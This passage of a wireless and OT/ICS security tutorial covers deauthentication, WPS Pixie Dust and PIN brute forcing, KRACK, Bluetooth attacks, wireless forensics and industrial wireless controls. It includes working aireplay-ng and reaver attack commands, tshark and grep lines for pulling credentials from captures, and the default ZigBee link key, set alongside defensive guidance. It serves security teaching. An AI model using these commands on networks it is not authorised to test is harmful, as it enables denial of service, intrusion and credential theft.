&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The evil twin attack exploits the fact that clients auto-connect to known SSIDs without verifying AP identity. WPA2-PSK provides no protection — the evil twin knows the password (it was cracked or socially engineered). WPA2-Enterprise with server certificate validation is the defence: the fake RADIUS in an evil twin cannot present a valid certificate for your organisation's RADIUS server. VPN with kill switch is the ultimate mitigation: even if a client connects to an evil twin, all traffic is encrypted in the VPN tunnel.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Additional Critical Wireless Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Deauthentication and Disassociation Attacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IEEE 802.11 Management Frames:
  Deauthentication (type 0x00, subtype 0x0C):
    Terminates an authenticated session
    Can be sent by: AP to disconnect client, client to disconnect from AP
    Unauthenticated: any device can forge a deauth frame as any sender

  Disassociation (type 0x00, subtype 0x0A):
    Terminates an associated session (less complete than deauth)
    Also unauthenticated

Attack: Forged Deauthentication
  Attacker sends deauth frames with AP's BSSID as source, targeting specific client
  Client receives "AP told me to disconnect" → disconnects
  Client attempts reconnection → handshake capture opportunity
  OR: continuous deauth → DoS against specific client or all clients

IEEE 802.11w (Management Frame Protection):
  Adds cryptographic authentication to management frames
  Deauth frames MIC-authenticated → forged deauths rejected
  Requirement: WPA3 requires 802.11w
  WPA2 with 802.11w: called "Protected Management Frames" (PMF)
  Status: 2019+ Wi-Fi Alliance requires PMF support, WPA3 mandates it
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Deauthentication attack:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--deauth&lt;/span&gt; 100 &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Number of deauth packets (0 = infinite)&lt;/span&gt;
    &lt;span class="nt"&gt;-a&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Target AP BSSID&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 11:22:33:44:55:66 &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Target client (omit for broadcast deauth)&lt;/span&gt;
    wlan0mon

&lt;span class="c"&gt;# Detect 802.11w capability (PMF):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"BSS"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"protected"&lt;/span&gt;
&lt;span class="c"&gt;# or in airodump: check CIPHER column for CCMP with 802.11w support&lt;/span&gt;

&lt;span class="c"&gt;# Verify your network has PMF enabled:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 info
&lt;span class="c"&gt;# And check hostapd config: ieee80211w=2 (required) or ieee80211w=1 (capable)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 WPS — Wi-Fi Protected Setup Attacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPS (Wi-Fi Protected Setup):
  Designed to simplify device connection to Wi-Fi
  Methods:
    PBC (Push Button): Press button on router, device connects automatically
    PIN: 8-digit PIN for authentication
    NFC: Near-field communication (rare)

WPS PIN Vulnerability (2011):
  8-digit PIN: 10^8 = 100,000,000 possible values (100M guesses worst case)
  But: AP validates PIN in two halves (first 4 digits, last 4 digits)
  First half: 10^4 = 10,000 guesses
  Second half: 10^3 = 1,000 guesses (last digit is checksum)
  Total: 11,000 guesses maximum → cracked in 2-10 hours

Pixie Dust Attack (2014, Dominique Bongard):
  WPS implementation bug: predictable random numbers used in DH exchange
  AP's random nonces are predictable from public values
  Full WPS PIN recovered offline from single exchange — seconds to minutes
  Affects: many Broadcom and Ralink chipset routers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WPS attack with Reaver:&lt;/span&gt;
&lt;span class="c"&gt;# Step 1: Find WPS-enabled APs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;wash &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon              &lt;span class="c"&gt;# Identifies WPS-enabled APs&lt;/span&gt;
&lt;span class="c"&gt;# Note: BSSID, ESSID, WPS Version, WPS Locked status&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Pixie Dust attack (fast, offline):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;reaver &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Monitor mode interface&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;       &lt;span class="c"&gt;# Target AP BSSID&lt;/span&gt;
    &lt;span class="nt"&gt;-vv&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                         &lt;span class="c"&gt;# Verbose output&lt;/span&gt;
    &lt;span class="nt"&gt;-K&lt;/span&gt; 1 &lt;span class="se"&gt;\ &lt;/span&gt;                        &lt;span class="c"&gt;# Pixie Dust mode&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 6                           &lt;span class="c"&gt;# Channel&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: If Pixie Dust fails, brute force PIN:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;reaver &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-vv&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 6 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; 2 &lt;span class="se"&gt;\ &lt;/span&gt;                        &lt;span class="c"&gt;# Delay between attempts (avoid lockout)&lt;/span&gt;
    &lt;span class="nt"&gt;-r&lt;/span&gt; 3:60                        &lt;span class="c"&gt;# Rate limit: 3 attempts per 60 seconds&lt;/span&gt;

&lt;span class="c"&gt;# WPS lockout: many APs lock WPS after ~10 failures&lt;/span&gt;
&lt;span class="c"&gt;# Bully is an alternative to Reaver: sudo apt install bully&lt;/span&gt;

&lt;span class="c"&gt;# Defence: Disable WPS entirely on all access points&lt;/span&gt;
&lt;span class="c"&gt;# Router admin → Wireless → WPS → Disable&lt;/span&gt;
&lt;span class="c"&gt;# Even with WPS "disabled", some firmware still responds to WPS probes&lt;/span&gt;
&lt;span class="c"&gt;# Verify with: sudo wash -i wlan0mon (should not show WPS on secured AP)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 KRACK — Key Reinstallation Attack (2017)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2017-13077 through CVE-2017-13086
Discovered by: Mathy Vanhoef
Severity: All WPA2 implementations

How KRACK Works:
  WPA2 4-way handshake — Message 3 (AP → Client):
    Contains GTK (Group Temporal Key)
    AP may retransmit if no ACK received
    Each retransmission uses same ANonce

  Attack:
    Attacker intercepts Message 3
    Prevents Client from acknowledging → AP retransmits Message 3
    Attacker can replay Message 3 multiple times

  Key Reinstallation:
    Receiving Message 3 again causes client to reinstall PTK with same key
    Nonce (counter) reset to initial value

  Nonce Reuse + AES-CCMP:
    AES-CCMP nonce is the packet counter
    Nonce reuse allows keystream recovery (similar to WEP)
    → Attacker can decrypt traffic

Impact by platform:
  Linux/Android: Used all-zeros key after reinstallation (catastrophic)
  Windows/iOS: Partial vulnerability (limited practical impact)

KRACK was patched in OS updates (2017-2018)
Legacy unpatched devices remain vulnerable (OT concern)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.4 Bluetooth Security — Brief Overview
&lt;/h3&gt;

&lt;p&gt;Bluetooth uses the 2.4 GHz ISM band, shares spectrum with Wi-Fi, and has its own security architecture relevant to OT/ICS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bluetooth Attack Surface:
  BlueBorne (2017, Armis Research):
    Remote code execution via Bluetooth WITHOUT PAIRING
    Attacker in range → exploit → RCE as highest privilege
    Affected: Linux, Android, Windows, iOS (before patch)
    ~5.3 billion devices affected at disclosure

  Bluesnarfing:
    Unauthorised access to Bluetooth device data
    Contact list, messages, calendar without pairing

  Bluejacking:
    Send unsolicited messages to Bluetooth devices
    Social engineering vector

  Eavesdropping:
    Capture Bluetooth traffic with custom hardware
    Ubertooth One: open-source Bluetooth monitor
    Most Bluetooth uses frequency hopping (1600 hops/second)
    Monitoring requires hardware that can follow hops

OT Relevance:
  Bluetooth used for:
    Field device configuration (handheld terminals for HART, PROFIBUS)
    Wireless sensors (industrial IoT)
    Worker safety devices (fall detection, gas detection)

  Security concern: Bluetooth field configuration tool paired to PLC
  Attacker with BlueBorne exploit → RCE on configuration tool →
  access to PLC programming interface
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Wireless Forensics and Detection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Wireless Evidence Collection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Comprehensive wireless monitoring setup:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Enable monitor mode:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill
sudo &lt;/span&gt;airmon-ng start wlan0
&lt;span class="c"&gt;# Result: wlan0mon&lt;/span&gt;

&lt;span class="c"&gt;# 2. Full packet capture (all channels, all traffic):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/wireless_evidence &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# Output prefix (creates .cap, .csv, .kismet.netxml)&lt;/span&gt;
    &lt;span class="nt"&gt;--output-format&lt;/span&gt; pcap,csv,netxml &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c"&gt;# Multiple output formats&lt;/span&gt;
    wlan0mon                         &lt;span class="c"&gt;# Monitor interface&lt;/span&gt;

&lt;span class="c"&gt;# 3. Targeted capture (specific AP):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--bssid&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# Target AP&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--manufacturer&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Show manufacturer info&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/target_capture &lt;span class="se"&gt;\&lt;/span&gt;
    wlan0mon

&lt;span class="c"&gt;# 4. Kismet for comprehensive WIDS/forensics:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;kismet
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--log-title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Wireless Survey"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--log-types&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kismet,pcapng,csv

&lt;span class="c"&gt;# 5. GPS correlation (wardriving):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--use-gpsd&lt;/span&gt;                       &lt;span class="c"&gt;# Connect to GPSD for location data&lt;/span&gt;

&lt;span class="c"&gt;# Extract useful data from capture:&lt;/span&gt;
&lt;span class="c"&gt;# All unique BSSIDs:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.bssid | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^$"&lt;/span&gt;

&lt;span class="c"&gt;# All unique SSIDs:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.ssid | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^$"&lt;/span&gt;

&lt;span class="c"&gt;# Probe requests (what networks are clients looking for):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"wlan.fc.type_subtype == 4"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.ta &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.ssid

&lt;span class="c"&gt;# Authentication frames (track connection events):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"wlan.fc.type_subtype == 11 or wlan.fc.type_subtype == 0"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Forensic Analysis of Captured Traffic
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Decrypt WPA2 traffic in Wireshark (if password known):&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Preferences → Protocols → IEEE 802.11&lt;/span&gt;
&lt;span class="c"&gt;# Enable: "Enable decryption"&lt;/span&gt;
&lt;span class="c"&gt;# Add: Decryption key — "wpa-pwd" type, "Password:SSID" format&lt;/span&gt;
&lt;span class="c"&gt;# Example: "MyPassword123:CorpWiFi"&lt;/span&gt;

&lt;span class="c"&gt;# Command line decryption with airdecap-ng:&lt;/span&gt;
airdecap-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"MyPassword123"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# WPA2 password&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"CorpWiFi"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# SSID&lt;/span&gt;
    capture.cap                      &lt;span class="c"&gt;# Input capture&lt;/span&gt;

&lt;span class="c"&gt;# Decrypt WEP traffic:&lt;/span&gt;
airdecap-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; 1A2B3C4D5E &lt;span class="se"&gt;\ &lt;/span&gt;                &lt;span class="c"&gt;# WEP key in hex&lt;/span&gt;
    capture.cap

&lt;span class="c"&gt;# Extract HTTP credentials from decrypted capture:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; decrypted.cap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request.method == POST"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri &lt;span class="nt"&gt;-e&lt;/span&gt; http.file_data

&lt;span class="c"&gt;# Find all passwords in capture:&lt;/span&gt;
strings capture.cap | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"password|passwd|pwd|pass"&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Analyse timeline of wireless events:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.cap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.fc.type_subtype &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.sa &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.da &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"wlan.fc.type == 0"&lt;/span&gt; |        &lt;span class="c"&gt;# Management frames only&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Wireless in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 Industrial Wireless Technologies
&lt;/h3&gt;

&lt;p&gt;Industrial wireless is fundamentally different from enterprise Wi-Fi in its requirements and therefore its security profile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Industrial Wireless Technologies:

IEEE 802.11 (Standard Wi-Fi):
  Use: Engineering workstations, HMI tablets, operator interface
  Security: Should use WPA2-Enterprise or WPA3
  Risk: Same as enterprise wireless, plus physical security gaps

WirelessHART (IEC 62591):
  Purpose: Wireless sensor measurements (process variables: pressure, temperature, flow)
  Frequency: 2.4 GHz, IEEE 802.15.4 DSSS
  Topology: Mesh network, self-healing
  Security: AES-128 encryption, device authentication via join keys
  Range: 50-200m per hop, mesh extends to kilometre scale
  OT use: Field sensor data without wiring (common in oil/gas, chemical)

ISA100.11a (IEC 62734):
  Purpose: Similar to WirelessHART — industrial sensor networking
  Frequency: 2.4 GHz
  Security: AES-128, PKI-based device certificates

Zigbee (IEEE 802.15.4):
  Purpose: Building automation, smart energy, industrial monitoring
  Frequency: 2.4 GHz (also 868/915 MHz)
  Topology: Star, tree, mesh
  Security: AES-128 (but poor key management in many deployments)
  Range: 10-100m

PROFIBUS Wireless (proprietary):
  Some vendors offer wireless extensions to PROFIBUS
  Typically 2.4 or 5 GHz
  Security: varies by vendor, often minimal

Bluetooth (IEEE 802.15.1):
  Use: Field device configuration (HART, PROFIBUS parameter setting)
  Range: typically &amp;lt;10m for Class 2
  Security: pairing-based (vulnerable to BlueBorne if unpatched)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 OT Wireless Security Challenges
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Challenge 1: Air-Gap Expectation vs Reality
  Many OT networks are assumed to be air-gapped (no wireless)
  Reality: wireless is often present:
    - Engineering workstations connected to corporate WiFi
    - Vendor-installed wireless for remote monitoring
    - Employee hotspots
    - Wireless sensors added "temporarily"

  Assessment action: Always scan for wireless in OT environments
  Even "air-gapped" environments should be surveyed

Challenge 2: Legacy Protocol Security
  WirelessHART: AES-128 correctly implemented — acceptable
  Zigbee: AES-128 but key management often broken:
    Default install keys well-known
    Key transport often in cleartext
    Many deployments use same global link key across all devices

Challenge 3: Update-Resistant Hardware
  Industrial wireless gateways and access points:
    Long lifecycles (10-20 years)
    Vendor must validate firmware before deployment
    Emergency patches rare
    Known vulnerabilities may remain unpatched for years

Challenge 4: Physical Exposure
  Field sensors in remote locations
  Wireless gateway in unsecured enclosures
  Physical access → firmware extraction, configuration modification

Challenge 5: Channel Interference
  Industrial equipment generates RF interference (motor drives, welders)
  Interference patterns can affect wireless reliability
  Attackers can use interference as DoS against wireless sensors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 OT Wireless Security Controls
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NERC CIP (Energy Sector) wireless requirements:
  CIP-005-6: Electronic Security Perimeter must include wireless
  Access points that connect to BES Cyber Systems must be protected
  Wireless access = electronic access point requiring controls

IEC 62443 wireless guidance:
  Zone and conduit model applies to wireless
  Wireless sensors in a zone: must be protected at zone boundary
  Wireless AP: acts as conduit between zones

Practical OT wireless controls:

1. Network Segmentation:
   OT wireless AP should NOT directly connect to process network
   OT wireless → DMZ → [Firewall] → Process Network
   Sensor data: one-way data flow from wireless network to process network

2. Wireless Sensor Security:
   WirelessHART: deploy with unique join keys per device (not default)
   Zigbee: use unique link keys, disable trust center link key sharing
   Rotate keys periodically

3. Employee WiFi:
   Separate SSID/VLAN for engineering workstations
   No direct routing to process control network
   All access through jump server in DMZ

4. Wireless Survey:
   Quarterly RF survey to detect rogue APs
   Survey from outside the facility (what's visible externally?)
   Document all authorised wireless assets

5. Physical Security:
   Wireless field devices in lockable enclosures
   Wireless APs in secured locations or in tamper-evident enclosures
   GPS tracking on mobile wireless devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# OT wireless security assessment:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Survey wireless landscape (from outside building if possible):&lt;/span&gt;
&lt;span class="c"&gt;# Long-range adapter + directional antenna:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--band&lt;/span&gt; abg wlan0mon &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/wireless_inventory.txt

&lt;span class="c"&gt;# 2. Identify industrial wireless (2.4 GHz mesh characteristics):&lt;/span&gt;
&lt;span class="c"&gt;# WirelessHART: looks for 802.15.4 traffic (requires SDR or specialised adapter)&lt;/span&gt;
&lt;span class="c"&gt;# Standard 802.11 survey won't see Zigbee/WirelessHART directly&lt;/span&gt;

&lt;span class="c"&gt;# 3. Check for OT SSIDs that shouldn't be wireless:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"scada|plc|ot|control|historian|hmi"&lt;/span&gt; /tmp/wireless_inventory.txt

&lt;span class="c"&gt;# 4. Check Zigbee networks (requires 802.15.4 capable hardware):&lt;/span&gt;
&lt;span class="c"&gt;# KillerBee framework for Zigbee analysis:&lt;/span&gt;
&lt;span class="c"&gt;# sudo apt install killerbee&lt;/span&gt;
&lt;span class="c"&gt;# zbstumbler                      # Discover Zigbee networks&lt;/span&gt;
&lt;span class="c"&gt;# zbdump -c 11 -w zigbee.pcap    # Capture on channel 11&lt;/span&gt;

&lt;span class="c"&gt;# 5. Verify no OT wireless connects directly to process network:&lt;/span&gt;
&lt;span class="c"&gt;# Check routing tables of hosts connected to OT wireless&lt;/span&gt;
&lt;span class="c"&gt;# Verify firewall rules between wireless VLAN and process VLAN&lt;/span&gt;

&lt;span class="c"&gt;# 6. Check for default Zigbee keys:&lt;/span&gt;
&lt;span class="c"&gt;# Default ZigBee trust center link key:&lt;/span&gt;
&lt;span class="c"&gt;# 5A6967426565416C6C69616E63653039 (hex)&lt;/span&gt;
&lt;span class="c"&gt;# "ZigBeeAlliance09" (ASCII)&lt;/span&gt;
&lt;span class="c"&gt;# If this key is in use: all traffic can be decrypted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Wireless Network Survey (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete wireless environment mapping&lt;/span&gt;

&lt;span class="c"&gt;# Setup:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;aircrack-ng kismet wireshark &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill
sudo &lt;/span&gt;airmon-ng start wlan0
&lt;span class="c"&gt;# Note your interface name (wlan0mon or similar)&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Full survey&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--manufacturer&lt;/span&gt; wlan0mon 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/survey.txt &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;30
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Step 3: Analyse results&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Access Points Found ==="&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/survey.txt | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Categorise by security&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Open Networks (no encryption) ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"OPN"&lt;/span&gt; /tmp/survey.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== WEP Networks (broken) ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" WEP "&lt;/span&gt; /tmp/survey.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== WPA Networks (deprecated) ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" WPA "&lt;/span&gt; /tmp/survey.txt | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; WPA2

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== WPA2 Networks ==="&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"WPA2"&lt;/span&gt; /tmp/survey.txt

&lt;span class="c"&gt;# Step 5: Check for WPS-enabled networks:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;wash &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon 2&amp;gt;/dev/null &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;20
&lt;span class="nb"&gt;kill&lt;/span&gt; %1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
